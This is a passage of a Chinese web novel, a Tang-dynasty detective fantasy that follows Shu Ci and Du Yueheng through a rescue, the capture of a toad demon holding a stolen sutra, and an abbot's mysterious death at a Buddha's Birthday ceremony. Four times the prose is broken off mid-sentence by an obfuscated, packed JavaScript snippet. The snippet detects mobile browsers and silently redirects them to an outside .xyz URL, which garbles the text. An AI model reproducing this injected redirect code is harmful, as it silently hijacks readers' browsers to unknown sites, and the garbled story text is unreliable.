杜月恒这才拿正眼瞧这胡阿烈。想不到他满脸横肉,一脸的大胡子,看上去粗鄙不堪,却是反应迅速,思维敏捷。 “既然如此,那我们也没什么好说的了。你把我绑起来也行,杀了也行,放火把这柴房烧了也行。反正大唐之内,自有王法。” 说罢,闭上眼,头靠在椅子上,作闭目养神状,不再理睬胡阿烈。 胡阿烈沉吟片刻,终于开口:“杜公子,今日之事,皆是我自作主张,大理寺的抓我也好,杜家的寻我的仇也罢……都与柳容烟无关。” 杜月恒大吃一惊,从椅子上坐起来,没想到眼前这粗犷的汉子竟是一个痴情种子。 杜月恒忍不住强调道:“柳容烟跑都跑了!” 胡阿烈又说了一遍:“这件事本来就与她无关。” 杜月恒无言以对,又说:“你知不知道,柳容烟还欠着我一份拂花楼客人名册?你以为我是为了那一千二百两银子,才生出这许多事的吗?” 他越说越来气,“她若方才把名册给了我,本来就皆大欢喜了!你们非要绑了敖瑞……算了算了!这名册你自己想想,能不能替你柳娘子做主?” 胡阿烈不答。 杜月恒目光敏锐,脑子转得飞快:“柳容烟没告诉你,我要这名册之事?” 胡阿烈握紧了拳头,一板一眼道:“杜公子,你不用挑拨我与容烟的关系。拂花楼往来皆为显贵,容烟她经营的就是这一门隐私生意。我不能替她做主。” 杜月恒又道:“胡阿烈,我不是什么地痞流氓,我们杜家既不会寻你的仇,更不会寻柳容烟的仇。” 胡阿烈那张阴沉的脸上,闪过一丝感激,滔滔不绝起来:“杜公子,你和我们不一样,生来便是宰相的儿子。若不是我阿姐嫁给了……我也谋不到这份工作。容烟她也不容易,从小在教坊司长大……” 杜月恒不想听柳容烟长柳容烟短的,摆摆手道:“说回那名册,你们不就是怕,来往客人的身份给泄露出去,拂花楼不好做生意吗? “那今日我在你面前翻阅,看完了就当即还给你。我绝对不会说出去,即使说出去也是空口无凭。” 胡阿烈思考一会,同那两个汉子嘀咕两句。他们便出了门,不出半柱香的时间,带回了那名册。 杜月恒一把拿过来,一目十行。 ——从半年前开始,晁不疑每个月都会拜访牡丹两三次。 杜月恒长舒一口气,将名册还给胡阿烈。 敖瑞这时也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779356|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了,在地上哎哟了两声:“杜公子……你怎么……一个人来的啊……” “对了,胡阿烈,你不仅打了我,还打了我兄弟,我不跟你计较就罢了,你赶紧看看我兄弟!” 胡阿烈又使了使眼色,那两个汉子刚要解开敖瑞的绳子,门口又是一阵巨响。 大门又被人一脚踢开,金色的夕阳洒了进来,杜月恒恍然以为自己见到天女,但不是飘逸的飞天,而是神将下凡—— 舒慈一袭白衣,青丝马尾,三宝停在她肩上,煞是英姿飒爽,神采飞扬。 她还带着天兵天将——金吾卫、大理寺、县衙的通通涌进来,瞬间便将胡阿烈三人团团围住。 人群中又窜出一个瘦削的身影。 不等杜月恒反应过来,李元信便跳到他跟前:“杜公子,你没事吧?没伤到哪吧?” “敖瑞!!!” 舒慈扑过来,赶忙将他的绳子解开。她见敖瑞仍是迷迷瞪瞪,便伸手拍了拍他的脸。 敖瑞此时已经鼻青脸肿,被拍得直叫唤:“我醒着呢!别拍了!” 又听见李元信指挥道:“都愣着干什么!还不把人赶紧给我抓起来!” 大理寺的带着胡阿烈三人往外走,那万年县县令急得不行:“这不对吧?……这是我们县衙的人……大理寺的这要有个说法吧……” 范长风向舒慈拱了拱手:“舒司务,既然人找到了,我们金吾卫便先行告退了。” 舒慈站起来,回了个礼:“范郎将,今日感激不尽。” 李元信还在杜月恒耳边关心个不停,杜月恒不管他,走过去小声问舒慈:“谁啊,这男的?” “在下范长风。”范长风答。 屋子里闹哄哄的,乱成一团。 突然,人群安静了下来,自动分出来一条小路,走进来一个男人。 他与杜月恒有七八分相似,几乎就是年老的杜月恒,穿着朱红色的官服,步态沉稳,须发尽白,眉宇间镇定自若,不怒而威。 他走到杜月恒跟前,只有李元信点头哈腰地迎过去,“杜大人,这个事情,您听我解释……” ——这便是杜月恒的父亲,大唐当朝尚书令,杜谌义。 他举起一只手,李元信便噤了声。又向后挥了挥,李元信心领神会,催赶着屋子里的无关人等赶紧离开。 柴房里只剩下躺在地上的敖瑞、舒慈和杜月恒。 一时之间,鸦雀无声。 杜谌义扫了一眼舒慈,那双几乎与杜月恒一模一样的,但深邃许多的眼睛里闪过一丝惊讶,他没有问杜月恒,反倒问舒慈:“你是大理寺的?” 舒慈点了点头,行了礼,便识相地扛起敖瑞要走。 这时,杜谌义沉下脸来,只对杜月恒说了两个字: “胡闹!” 杜月恒瞪着他爹,眼眶发红,两人僵持了一会。 他哼了一声,走到门口,扛起了敖瑞另一边,和舒慈一起迎着夕阳,离开了拂花楼。 ——小剧场一则—— 杜月恒:这男的谁啊? 范长风:谢邀,在下范长风,幽州范氏,左金吾卫郎将,一米八。 16. 第九回 经书 长安的夜是冰冷的,今晚天空不见一丝乌云,只有一轮下弦月,明亮如银。 悟尘在牢房中结跏趺坐,屏息凝神。 月光透过窗格,洒在他身上,又投影出窗格一方一方的阴影。 他在等。 青龙寺的舍利虽然找到了,但金吾卫并没有放悟尘离开。 经书仍未找到,他的嫌疑还未洗清。 他闭上眼睛,一个个念头像水中屏息时冒起的气泡——那些金吾卫知道经书的内容吗?不,他们肯定不知道。觉顺知道经书的内容吗?明明是大理寺的来问话,为何金吾卫又要办理此案? ……真是倒霉啊,那日竟在青龙寺碰上那惨死的女子,或许不应该报官…… 阿弥陀佛。 他试着将念头清空,吐纳呼吸,聚精会神——所谓冥想,即是寻找“空”。 不为事物之外相所迷惑,领悟世间一切的本质,变化即是空,无常亦是空。 这时,那地上月光的投影突然隆起一块阴影,那阴影跳下来,是一只巨大的蟾蜍。 接着,“啵”地一声,那蟾蜍就变成了人形。 碧波仙人站起来,对悟尘很是恭敬的样子,双手合十道:“悟尘大师,我来晚了。” 悟尘点点头,仍是闭着眼。 碧波仙人见他不答,低下头,缓缓开口道:“大师,那舍利……被一个歹人给抢了去。” “我知道。” “是,大师自然什么都知道。” “碧波,我将那舍利赠与你,是助你康复,完成你的修行。或许你仍是尘心未绝,佛缘尚浅。”悟尘说。 碧波仙人那丑陋的脸上满是真心的愧疚:“大师,是我错了。您将青龙寺的舍利给我,我却带去赌场,我真是该死啊!我千不该万不该浪费了您的苦心…… “那日的歹人极为古怪,她左眼闪了道光,竟看穿了我的真身……现在外面到处都是我的通缉令……因此才来迟了……” 悟尘终于睁开眼:“碧波,不必自责。” 碧波仙人的表情缓和了,舒了口气,鞠躬道:“多谢大师。” 两人又安静了一会,悟尘的声音又响起来。 “明日,你将青龙寺的那卷经书交给金吾卫。” “什么?!可是……” “马上就是佛诞节了。” 悟尘既不作回答,也没有解释,神色仍是不喜不悲不惧。 他的语气里没有威胁,亦不是叹息,听不到一点尘世的情感,像寺庙的钟声一般回响,叫人不得拒绝。 碧波仙人低垂下头:“是,不能耽误您的大事。” 说罢,他又变回了蟾蜍,想要离去。 悟尘却又对他说:“等等,我还要一样东西。” *** 四月初六,长安城天气转暖,春日和煦,正是燕草如碧丝,秦桑低绿枝。 前日敖瑞被救后,回家养伤。缉妖司就只剩下舒慈和三宝,舒慈又得忙着处理胡阿烈案子的公文,牡丹的案子进展缓慢。 说起牡丹的案子,舒慈就不免想起杜月恒。 上次她们一起将敖瑞送回去后,又一起牵着马,沉默地走了一会。还是舒慈先开口道:“杜公子,今日多谢你来救敖瑞。” 那杜月恒语带揶揄道:“那日在虫子庙,是敖瑞救了我,我今日救他,本就是我该做的,有什么好谢的?” 舒慈心道这杜公子不知犯了什么浑,难道是责怪自己来的晚了?便回道:“是舒慈办事不力,大理寺的来迟了,还请公子见谅。” 杜月恒啧了一声,有些生气,又有些无奈:“你这是说的什么话?” 他的声音反倒低了下去:“你怎么把我爹叫来了?” 那语气有一点责备,又有一点失落。 舒慈张了张嘴,没有解释。她想起方才在柴房之中,杜大人见了杜月恒平安无事,既无欣喜也无安抚,反倒是责怪自己的儿子,推测是这父子两多有龃龉。 舒慈便出声安慰道:“你爹总还是担心你的。” 哪知道这话像扎了杜月恒一针,他没头没尾来了一句:“你知道什么啊?” 舒慈自然是不知道的。她从小无父无母,是道观的师父养大的。若她被人绑架了,怕是只有敖瑞和三宝会来寻她。李元信哪会像今日这样鞍前马后! 舒慈懒得再伺候这公子脾气,冷哼道:“我是不知道。我从小就没见过父母。” 说罢,扭头翻身便上马。 “哎!!对不起!舒慈!!你别走啊……” 杜月恒在她身后喊了几声,再也追不上她了。 一想到这,舒慈仍是生气。 还好,范长风今日带来了好消息。他遣人来找舒慈:那□□妖怪找到了,请舒慈协助审问。 舒慈得里消息便往金吾卫处赶,只见那碧波仙人正被五花大绑在椅子上。 狭小的屋子里足足挤了四个人,范长风坐在碧波仙人的对面,三个金甲卫士执长枪,抵着他的头。 他们怕这妖怪变身,还给他身上贴了几张黄纸符。 舒慈凑近一看,乱七八糟,不忍卒读,便一伸手摘了下来。 三个金甲卫士被舒慈这举动吓着,将枪头调转向她。 范长风啧了一声,他们又把枪头转了回去。 “你们这符咒哪来的?” “街上找了个道士……” “我早说吧,你们这叫鬼画桃符!一点用没有!”碧波仙人被绑着,仍是嚣张得很,大声挑衅道: “我看这个小娘子是个懂行的!转过来,给爷爷瞧瞧……” 舒慈冷笑着转过脸来,碧波仙人一惊——他不认识她,却认得这双眼睛。 他剧烈地挣扎起来,尖叫道:“怎么是你?!你就是那日的小白脸!你竟敢骗你爷爷!把我那舍利还给我!” 舒慈只当没听见污言秽语,询问地望了眼范长风。 范长风道:“这妖怪今日被人瞧见在西市,我们便将它抓了回来。它方才已经认了,为了提升修为,去青龙寺偷了舍利和经书。 “只是他说,变身了之后才能将经书交出来。我怕他又有什么阴谋妖术,这才请了舒司务过来。” 舒慈想了想,与范长风低语两句。 然后,她又借了纸笔、黄纸符,笔尖一动,便流畅地勾画出一张符咒图案。 范长风看她画完,便向三个金甲卫士招招手手,示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784025|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意他们靠边。 碧波仙人见舒慈走上前来,继续骂骂咧咧道:“怎么,你们几个大老爷们还不敢跟爷爷过过招?让一个女的对付我?丢人不丢人……” 还没等他说完,舒慈猛地一起脚,将它连□□带椅子踹了个人仰马翻。 “你这无耻小人!竟敢偷袭本爷爷……” 舒慈趁其不备,快速念道:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。百邪不得妄前,天师下凡,太上老君急急如律令……” 正念到“令”字,舒慈便“啪”地一声,将她画的那张黄纸符贴到碧波仙人的脑门上。 只听“噗”的一声,碧波仙人像被人放了气,迅速地坍塌成了黑色的泥球,又从泥球里长出坑坑洼洼的表皮,伸出巨大的脚蹼,成了一只巨大的蟾蜍。 不等它反应过来,范长风便按舒慈叮嘱的,冲上前来,对着那肉袋似的,鼓得巨大的下巴,狠狠一踢。 “呱!” 蟾蜍疼得一张嘴,混着粘稠的液体,喷出了厚厚一卷经书。 它想逃,刚一伸腿,正打算腾空跃起,舒慈动作麻利,两根手指一夹,又揭下那张黄纸符。 又是“噗”的一声,那跃起一半的蟾蜍像充上了气,四肢、身体开始延长,长大,脚蹼变成了手脚,眼睛的距离缩近,成了人的模样。 碧波仙人显是没料到在半空中会变成人形,只听“咚”地一声,重重地摔成了狗啃泥。 三个金甲卫士一拥而上,将他狠狠压制住,又用绳子将他绑了个结结实实。 碧波仙人被压在地上,气得不行:“小人!腌臜!下流的货!” 范长风谢过舒慈,眼里是三分敬佩七分崇拜加起来的十分尊敬。 他拍手称赞道:“舒司务真是料事如神,这蟾蜍果然是将东西藏在嘴里。还不知舒司务竟还会道家法术,在下真是好生佩服。” 舒慈拱拱手,虚虚笑道:“范郎将谬赞了,我这都是雕虫小技,不足挂齿,要不是你刚刚踢得好,可撬不开这□□的嘴。” 说罢,她便转头捡起地上那卷经书,甩掉上面的粘液。 这是两部书册卷在一起,上面的墨迹有的已经有些模糊了。 仔细辨认,只见第一卷是《降魔成佛录》,第二卷是《钟馗无量度人咒魔经》 舒慈一时之间惊愕不已,这佛教的典籍中为何会有祖师爷的著作?这祖师爷的书更是闻所未闻。 她刚想翻开,范长风却一伸手将书页盖上。 舒慈皱眉,疑惑地抬头。 范长风道:“舒司务,这经书,长官有令,内容绝密,不得翻看。” 范长风抽回经书,舒慈紧紧攥着书页,还想再多瞧几个字,只看清那《降魔成佛录》的著者写着觉慧。 舒慈又想发问,却见范长风脸上又是那欲言又止,讳莫如深的模样,虽心底生出一股烦躁,仍是讲了句场面话: “既然范郎将为难,我便不再多问。” 范长风多少有些歉意,抱拳鞠躬。 舒慈摆摆手,告辞离去。 她骑在马上,蓦的却又想起那两本古怪的典籍,为何佛家竟也有降魔经书? 她这才又想起了杜月恒。 17. 第十回 佛诞节 四月初七,天仁寺差人到大理寺送来一张帖子,邀舒慈参加明日的佛诞节。 那应门的小厮不知帖子内容,只道封面郑重,装帧精美,便送去了李元信处。 李元信阅毕,便叫来舒慈,长叹一口气,一连说了三次“不好办啊”。 舒慈见他打起哑谜,问道:“李大人,这帖子邀的是我,不知大人为何叹气啊?属下可否排忧解难?” 李元信苦着脸反问:“天仁寺为何邀请你啊?” 舒慈无语,自己前两日的卷宗写得清清楚楚,这李元信果真没看。 但她面上还是恭恭敬敬,把她找到青龙寺遗失的舍利与经书前后种种如实相告。 李元信听完,又撩着胡子思索一番,终于定夺道:“那你去吧,去的时候千万别穿大理寺的官家制式,就穿自己的常服。” “啊?” 见舒慈摸不着头脑,李元信啧了一声,答非所问:“你不知道近日圣人龙体欠安,刚找了几个道家大师进宫?又是炼丹,又是大兴仪式,专程为了祈求大唐福祚连绵。” 他说完又朝舒慈眨了眨眼。 舒慈只明白了一半,先皇笃信佛家,先朝时,每年佛诞节皆是举城欢庆。当今圣上抑佛扬道,佛诞节较以前萧条不少。但和大理寺有什么关系呢? 李元信看她仍是困惑,便又勾勾手指,低声道:“你动动脑子!先皇礼佛,圣人修道,朝堂上早就打得不可开交,我们大理寺能掺和吗?” 看舒慈又要发问,他“哎”了一声,摇摇手指,意思是,差不多得了。 舒慈哦了一声,作醍醐灌顶状,嘴里又配合地吐出几个“还是李大人想得周到”“是属下愚钝了”之类的便躬身告退。 *** 四月初八,佛诞节当日,舒慈按李元信嘱咐的,穿一件花草纹宽袖衫子,下着朱红色高腰裙,除了那双异瞳,与平常女子无异。 如今,圣人已禁止大肆庆祝佛诞节,只允许长安城内规模较大的几间寺院,经朝廷允许后才能举办活动。 天仁寺便是其中一座。 虽然官方禁止,但民间信仰难以绝断,天仁寺此刻里三层外三层,人满为患。 舒慈挟着帖子,才在人山人海中挤进了山门。 寺院宽阔的庭院内已悬挂各色经幢,当中的香炉升起缭绕不灭的香火,沉香、檀香、丁香、甘草香味扑鼻,烟气升腾,仿若香国境界。大殿内已布置停当,供奉水果、点心、长明灯,又用芍药、牡丹等鲜花礼佛,一派祥和庄重。 只见大殿右侧排起了长龙。队伍前设一套桌椅,两个和尚,一个坐着登记,一个站着收钱,不知所为何事。 舒慈看得稀奇,却又在队伍里瞧见一个熟悉的身影。 杜月恒今日着白衫,套一件玄色金线祥云纹圆领袍,脱下一只袖子,露出灰色银丝莲花半袖,帅气潇洒有余,而神色古怪,正东张西望,颇有一些偷偷摸摸,鬼鬼祟祟之态。 舒慈觉得好玩,看了一会便走过去,冷不防地拍了他肩膀一下。 “哎!杜月恒!干嘛呢!” “啊!” 杜月恒吓得肩膀一抖,回头一看,“啊哟!舒慈!!是你啊!” “杜月恒,怎么又是你啊?” “什么叫又是我啊?”杜月恒嘟囔道,“倒是你,舒姑娘,我还没说怎么老遇见你呢?莫不是……” 舒慈懒得跟他贫嘴,便亮了亮天仁寺的帖子。 “哦!”杜月恒恍然大悟道,“你找到了觉慧大师的舍利,天仁寺自然应该将你当贵宾礼遇。” 舒慈满意地将帖子收回,又问道,“你呢,你又在这干嘛?” 杜月恒被问得一跳,食指竖起来,做了个“嘘”的手势,“你小声点,你不知道啊?近日圣人龙体欠安……” 舒慈觉得奇怪,这杜月恒怎么和李元信说一样的话,便接嘴道:“……先皇礼佛,圣人修道……” “……嘘!嘘!”杜月恒拉她,“你都知道还问什么!……本来,每年都是我们全家一起来天仁寺诵经祈福,今日,我爹和兄长确实不方便露面。我阿娘竟说,反正家里就我一个不着调的,就是来了,别人也拿不住什么错处。这才只来了我一个人。我一个人来,都得低调再低调……我倒是无所谓,但朝堂中那么多双眼睛盯着我爹……” 这不是挺爱你爹的吗?舒慈翻了个白眼,忍不住腹诽。 杜月恒见了她的神色,似乎也是想起前日之事,又结结巴巴地开口,生硬地说道:“前日……是我不知道……你那马儿又跑得太快……我回家,我爹又罚我跪了一宿祠堂,现在膝盖还疼着呢……” 舒慈噗嗤一下笑出声。 “你笑什么?”杜月恒嘟囔的声音越来越小,“我家里七老八十的也一样要跪祠堂!我爹前年还被我爷爷罚过呢……” 正说着,二人来到了那登记的和尚跟前,杜月恒摸出一两银子,双手合十,谢过之后,二人便离了队伍。 “你这银子又是干嘛的?”舒慈对这佛家仪轨一概不知,好奇问道。 “你真不知道啊?”杜月恒又解释道,“天仁寺每十年就要举行一次佛像金身重度仪式。信众自愿供奉金箔。那和尚登记后,按照克数熔金,稍后待觉顺大师诵经仪式开始,便将熔好的黄金再刷在佛像上——这也是修行的一种,代表信众功德积累,终能修得正果。” 舒慈听他拉拉杂杂地讲着,只一个劲跟着人流乱窜。杜月恒摇摇头,拉着她,走到大雄宝殿前。 仪式还未开始,大殿外,几个僧侣围出一块空地。其他地方已挤满了信众,排列有序。 大雄宝殿内,已整整齐齐坐满了近百名僧侣,纷纷低头,或双手合十,或单手执念珠,皆是低声诵经。 大雄宝殿正前方,放置着将要再度金身的三尊佛像,盖着一张巨大的帷幔。 舒慈不懂,便背着手与杜月恒站等在队伍最后。 杜月恒又看看天色,太阳还差几分到头顶,疑惑道:“仪式怎么还不开始?” 果然,约莫又过了半柱香的时间,从大雄宝殿后方,天仁寺的后门方向,缓缓来了一队人马。 先是四人一队的女官,头上包裹朱红色罗纱头巾,头簪各式珍珠发钗,着正红色金丝纹绣外袍。她们与那几个围出空地的和尚交谈几句,便又匆匆跑去后门方向,迎来一座肩舆。 那肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795390|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舆华丽之至,高四尺,长六尺,宽三尺,前后十人抬杆,足足可容纳四人。四周垂珠帘,用宝石、玛瑙串成,又有丝绸的帷幕,用彩绣绣满八吉祥图案。梁架用朱红色,雕刻各式飞天。骨架漆金铜色,装饰祥云、牡丹花样的金铜色亮片。栏杆上也都雕镂了鲜花、凤凰纹样。 肩舆在预留好的空地上挺稳当,帷幕里伸出一只如白玉般的纤手,招了招前面的两名女官。 两名女官低下身子,听着里面的人说话,不住点头。一个去了大雄宝殿,与里面的和尚说了些什么。另一个则拿了银子,去供奉金箔。 杜月恒看得目瞪口呆,不可思议,激动地伏在舒慈耳边悄声道:“这是公主的肩舆吧!” 不等舒慈反应过来,只见觉顺大师终于从后堂来到大雄宝殿。 他在最前方,先是鞠了一躬,梵钟响起,霎时,殿内殿外好似万籁俱静,再没有一丝声响。 觉顺在佛像正前结跏趺坐,梵钟又是一响,宣告仪式开始,僧侣们便同时念诵起了佛经。 杜月恒竟也会背诵,跟着那声音默念了起来。 舒慈不懂,只感觉那声音低沉整齐,明明是近百人念诵,却又像是一人在诵读。 那声音肃穆清净,仿佛祈愿真的能随着缭绕升起的烟火直达天国。 菩萨若看到、听到,他们定会保佑长安的子民。 梵钟又不断敲响,舒慈忽然感到无限的疲惫——什么牡丹、虫子、蟾蜍、倭国人……在她脑子里组成迷宫,她往左是死胡同,往右同样找不到出口…… 那声音似乎在催促她放下烦恼,将烦恼通通抛之脑后,她蓦地想起杜月恒解说佛法——放下执念……或许,破案便是她的执念…… 帷幔被揭下,三尊佛像金箔剥落,脸上、袈裟、手印上露出斑斑的黑色的铜胚,但它们仍在低眉微笑——似乎等待这一刻很久了。 三个穿红色袈裟僧人,端着熔好的金箔上前,随着诵经声,用羊毛制成的、上好的刷子,为佛像涂抹上金色的外衣。 众人诵经的声音渐渐地低了下去,快要行至结束。左右两边的佛像已经重度完毕,金光闪闪,菩萨仍是慈悲微笑,恢复往日的辉煌。 中间的大佛只剩下左边的眼睛,僧人提笔不动,似乎在等待最后一声梵钟响起,完成最后的仪式。 只是,那整齐的诵经声音突然变得杂乱,连舒慈的思绪也一起被打断。 杜月恒、殿外的信众也停下来,众人都在寻找着这不适感的来源—— 在大雄宝殿的最前面,觉顺突然停下了念诵,他闭着眼睛,神情仍是淡然安详,身子却倒向一侧。 那僧人没有再继续画下去,他丢开笔,想去扶觉顺。 他接住觉顺大师的身体,试了试他的鼻息,轻声说道。 “……觉顺大师圆寂了。” “觉顺大师圆寂了!” 众人拥到觉顺大师周围,这话便一个传一个,传出了殿外。 舒慈立刻掏出了大理寺的文牒,和杜月恒挤入大殿。 只有一个人,他逆着人流的方向走了出来,眉眼间仍是看不出丝毫俗世的情与念。 ——那人正是悟尘。 18. 第十一回 佛诞节(下) 几个僧人将大殿门口围起来,不允许民众入内,可殿外的人群仍是不散,都在往前挤,想看清这热闹。 舒慈奋力挤开人群,向看门的亮了大理寺的文牒,带着杜月恒进了大殿。 大殿内,觉顺大师正躺在那度金的僧人怀里。 舒慈诧异,不管是人还是妖,临死前的神情大抵是相同的。 病死的痛苦遗憾,冤死的绝望挣扎,枉死的悲痛无助……而觉顺大师不同,他神色平静,嘴唇微启,仿佛还在念诵经文,只是累了而闭上眼睛,正低低地吐出一丝叹息。 觉顺大师越是面色安详,舒慈越是觉得古怪,青龙寺先出牡丹惨案,又有舍利、经书被盗,这几件事似乎冥冥之中有所勾连,她有种直觉——或许觉顺大师的死也没有那么简单。 那僧人一边流泪,一边将觉顺大师放平在地。在一旁结跏趺坐,低声念起了往生咒。 他起了个头,大殿内的所有僧侣便又都双手合十,一齐低头念经,超度亡魂。 那念诵声仍是整齐低沉,悲怆有力,蕴着无限哀思。 舒慈背着手,耐心地在一旁等待。 只见大殿正前方,三尊佛像仍在原处,左右两尊已金身重塑完毕,中间一尊还剩左眼裸露出青黑色的铜胎。 大佛虽仍是低眉状,舒慈却感到说不出的奇异——那双一左一右不对称的眼,好像阴阳太极中阴鱼的眼睛涂白,阳鱼的眼睛涂黑,成了两只无眼鱼环抱——恰似她的那双眼似的。 就在这一瞬间,她感到左眼一阵刺痛,左边的画面一黑,冒出许多白色稀碎的颗粒,她痛得额上渗出薄薄的细汗,脚步忍不住虚浮。 “舒姑娘,怎么了?”杜月恒在她一旁,察觉道她异样,扶了她一把。 她摆摆手,稳住自己。 这时,往生咒声止,左眼的画面突然之间又恢复如常,她又看清眼前的佛像、僧人和杜月恒。 舒慈用冰凉的手抹了抹额头的汗,深吸一口气,振作精神。 这时,却见先前所见的女官匆忙进来,与那僧人低语几句。 然后,那僧人向左右的两人说了几句话,一个便招呼殿内的人群先行离开,另一个又叫人来,准备将遗体搬离。 舒慈“哎”了一声,赶忙伸出手来将遗体拦下。 几个和尚虽是停了下来,但充满戒备。 舒慈亮了亮自己的文牒,问道:“请问师傅,现下天仁寺谁能主事?” 那度金身的僧人听到了,便转过身来,双手合十道:“阿弥陀佛,在下天仁寺上座慧空,暂时代觉顺大师,行天仁寺各项事宜。” 舒慈向他行了个礼道:“慧空师傅,在下大理寺舒慈。受觉顺大师之邀,今日参加佛诞节。确没有想到……还请节哀。” “师父今日圆寂,又恰逢佛诞节,这是师父的佛缘,是为涅槃。” 慧空不再流泪,语气平静道。 “涅槃?” 杜月恒小声道:“是说觉顺大师超越生死轮回,将获得永恒的安宁与解脱。” “这位施主说得正是。”慧空点头道,“按佛家仪轨,师父遗体应尽快沐浴更衣,准备超度后事。” 舒慈急了,担心这觉顺大师之死未经仵作检查,就匆匆下结论,便问道:“还想请问,觉顺大师平日身体如何?是否患有宿疾?” 慧空思考后答:“平日师父身体康健。” “既然觉顺大师平日无恙,今日猝死,或许还是谨慎确认为上。我这个大理寺的刚巧在场,虽不是仵作,但可粗略一看。是否要报官处理,由上座定夺。” 舒慈这话滴水不漏,叫人找不出理由拒绝,慧空挥了挥手,让几人将遗体放下。 舒慈上前,先检查觉顺大师脉搏,然后翻开眼皮查看瞳孔,又观察遗体脸色,均无异样后,便朝杜月恒使了个眼色,帮她将遗体翻过来。 杜月恒面露难色,他还未如此近距离地直面过遗体。只能苦着脸,抬起觉顺大师的腿,与舒慈一起将遗体翻了个面。 果然,在觉顺大师脖颈的后侧,有一块不规则的、乌青的小圆斑,斑痕四周又有一圈密密麻麻的红疹。 舒慈指着这块圆斑:“慧空师傅,请问这痕迹可是觉顺大师生前便有的?” 慧空摇了摇头,“贫僧惭愧,未曾注意过。” “觉顺大师今日,可有什么异于往常之处?” 慧空又摇了摇头:“今日贫僧一直在忙着熔化金箔,准备佛身度金之事,未注意到什么异样。” 见慧空未有什么动作,舒慈又道:“慧空师傅,觉顺大师脖颈处有异状,我非专业仵作,辨不出这痕迹的来由,不管是大师生前病痛还是外力所致……在下认为还是报官确认的好。” 她这话仍是周全严密,慧空点点头,吩咐了身边一个小和尚后,便向她做了个“请”的手势。 舒慈想在此处继续等着官差,张了张嘴,还想再找个理由分辨两句,却听得一个女声道:“阁下是大理寺的?” 她这才注意到,那女官并没有走,一直在一旁打量着她。 “在下正是大理寺舒慈。” 舒慈疑惑,那女官问完又不再说话。 杜月恒在一旁脑子转得飞快,掐了掐舒慈,朝那女官和慧空欠了欠身,便拉着她往外走。 舒慈不解其意,还想将杜月恒的手甩开。 杜月恒不管她,反而拽着她走得越来越快,在她耳边急切道:“嘉阳公主笃信佛教,曾在天仁寺修行……那肩舆估计就是她的。觉顺大师突然圆寂,定是公主要入内超度,你还不快走……” 舒慈这才发现大殿门前早已空无一人,除了那华丽至极的肩舆还停在原处。 她恍然大悟,脑海里蓦地响起李元信的声音——“这事大理寺能掺和吗?”,脚下不禁加快,踩起小跑步离开。 *** 觉顺大师圆寂之事,很快便传遍了长安城。 恰逢佛诞,又在金身重度仪式之时,觉顺之死一夜之间便成了一桩传奇。 有的人说,他当日亲自在场,只见佛像金身刚一塑好,那觉顺大师便屏息倒地,深色安详。突然间,大雄宝殿四周金光乍起!那觉顺大师一定是当场肉身成佛,去了极乐彼岸,在场的人都是撞上了大运,应该随喜赞叹!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799764|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有的人说,不对,当日分明是天仁寺天有异象,觉顺大师倒地后,一朵彩云从天飘下,正是观音乘坐七彩肩舆而来,见觉顺大师功德圆满,便带着他一同乘上五彩祥云,觉顺大师拒绝,那观音便翩然而去,留觉顺大师人间涅槃…… 有的人不信佛,便嘲笑说,高僧修佛,却不知自己死期将至,实在可笑。难怪是圣人崇道抑佛,天仁寺大势已去,有那闲工夫吃斋念佛,不如好好干活! 这故事越传越邪乎,舒慈不得不一遍又一遍,不厌其烦地,先与三宝、敖瑞说一遍,又同主簿、其他司务说一遍,最后和李元信又说了一遍——那大雄宝殿既无金光,也无彩云从天而降。那七彩的肩舆是不知哪家皇亲国戚的,专程参加佛诞节罢了。佛诞节当日,就是觉顺大师无缘无故向旁边一倒,当场圆寂。 可奇怪的是,遗体分明有异,却不见县衙的人将案件移交给大理寺。舒慈左思右想,又将此事写成卷宗秉了李元信。 李元信自然是将她叫过去,将卷宗退回,恨铁不成钢道:“天仁寺的事,朝堂上谁不是避之不及,你啊你……你就当作,那高僧他是因病猝死,那寺院的和尚都不急,你急什么?” 